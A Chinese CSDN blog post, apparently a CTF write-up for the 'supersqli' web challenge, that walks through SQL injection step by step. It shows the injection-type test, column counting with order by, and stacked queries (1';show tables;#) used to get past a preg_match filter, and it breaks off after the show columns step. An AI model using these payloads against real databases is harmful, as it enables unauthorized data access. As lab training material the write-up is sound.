攻防世界Web：supersqli

最新推荐文章于 2024-08-17 23:04:19 发布

dofd

最新推荐文章于 2024-08-17 23:04:19 发布

阅读量126

点赞数

分类专栏： CTF 文章标签： sql 数据库 mysql

本文链接：https://blog.csdn.net/Light_inthe_eyes/article/details/120790027

版权

博客讲述了如何通过SQL注入技术，针对含有正则过滤的Web应用进行攻击，详细分析了堆叠注入和预编译方法来绕过限制，最终成功获取Flag的过程。

摘要由CSDN通过智能技术生成

题目名字提示就是SQL注入

先输入1，有回显：
判断注入类型，1'报错，1'#正常回显，说明时单字符类型注入：
判断字段的数量,1' order by 2#正常回显，1' oreder by 3#报错，说明字段量为2：
用union去 select查询，1' union select 1,database()#，发现被preg_match过滤了：正则表达式过滤了这些，那么只有采取其他方式进行注入，尝试用堆叠注入：1';show tables;#，发现有回显：
爆1919810931114514的字段：-1';show columns from1919810931114514;#(数字名称需要加上反引号)
爆words的字段：

关注

专栏目录